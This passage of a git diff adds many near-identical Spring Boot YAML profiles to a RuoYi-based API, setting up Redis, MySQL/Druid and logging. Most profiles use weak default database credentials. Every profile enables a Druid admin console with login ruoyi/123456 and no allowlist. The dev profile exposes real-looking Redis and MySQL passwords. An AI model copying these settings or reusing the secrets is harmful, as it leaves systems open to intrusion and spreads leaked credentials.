服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/cmwoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-coinang.yml b/ruoyi-api/src/main/resources/application-coinang.yml new file mode 100644 index 0000000..5cd29ab --- /dev/null +++ b/ruoyi-api/src/main/resources/application-coinang.yml @@ -0,0 +1,96 @@ +app: + name: coinang +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/coinang?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-coinmarketcap.yml b/ruoyi-api/src/main/resources/application-coinmarketcap.yml new file mode 100644 index 0000000..0741558 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-coinmarketcap.yml @@ -0,0 +1,95 @@ +app: + name: coinmarketcap +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8003 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/coinmarketcap?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-coinsexpto.yml b/ruoyi-api/src/main/resources/application-coinsexpto.yml new file mode 100644 index 0000000..5290654 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-coinsexpto.yml @@ -0,0 +1,95 @@ +app: + name: coinsexpto +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/coinsexpto?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-das.yml b/ruoyi-api/src/main/resources/application-das.yml new file mode 100644 index 0000000..c4bea62 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-das.yml @@ -0,0 +1,95 @@ +app: + name: das +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/das?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-dentcoin.yml b/ruoyi-api/src/main/resources/application-dentcoin.yml new file mode 100644 index 0000000..f536426 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-dentcoin.yml @@ -0,0 +1,95 @@ +app: + name: dentcoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9011 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/dentcoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-dev-new.yml b/ruoyi-api/src/main/resources/application-dev-new.yml new file mode 100644 index 0000000..12fa4d8 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-dev-new.yml @@ -0,0 +1,95 @@ +app: + name: test2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8083 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/echo2.1?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-dev.yml b/ruoyi-api/src/main/resources/application-dev.yml new file mode 100644 index 0000000..3cf67dd --- /dev/null +++ b/ruoyi-api/src/main/resources/application-dev.yml @@ -0,0 +1,98 @@ +app: + name: echo2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8220 +# 数据源配置 +spring: + # redis 配置 + redis: + # 连接超时 毫秒 + connectTimeout: 1800 + # 地址 + host: 127.0.0.1 + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + #password: 123d3ggf2 + password: 0vGhqoORF1 + # 连接超时时间 + timeout: 60s + jedis: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://127.0.0.1:3306/tbecho?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: tbecho + password: sen6CZWtpBcXfncJ + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn diff --git a/ruoyi-api/src/main/resources/application-dex.yml b/ruoyi-api/src/main/resources/application-dex.yml new file mode 100644 index 0000000..f0fc9a4 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-dex.yml @@ -0,0 +1,95 @@ +app: + name: dex +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/dex?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-ebc.yml b/ruoyi-api/src/main/resources/application-ebc.yml new file mode 100644 index 0000000..150245a --- /dev/null +++ b/ruoyi-api/src/main/resources/application-ebc.yml @@ -0,0 +1,96 @@ +app: + name: ebc +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/ebc?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-etfinex.yml b/ruoyi-api/src/main/resources/application-etfinex.yml new file mode 100644 index 0000000..5058dff --- /dev/null +++ b/ruoyi-api/src/main/resources/application-etfinex.yml @@ -0,0 +1,94 @@ +app: + name: etfinex +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/etfinex?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-fx.yml b/ruoyi-api/src/main/resources/application-fx.yml new file mode 100644 index 0000000..c553f7c --- /dev/null +++ b/ruoyi-api/src/main/resources/application-fx.yml @@ -0,0 +1,95 @@ +app: + name: fx +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/fx?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-gatedefi.yml b/ruoyi-api/src/main/resources/application-gatedefi.yml new file mode 100644 index 0000000..2f20398 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-gatedefi.yml @@ -0,0 +1,95 @@ +app: + name: gatedefi +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gatedefi?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 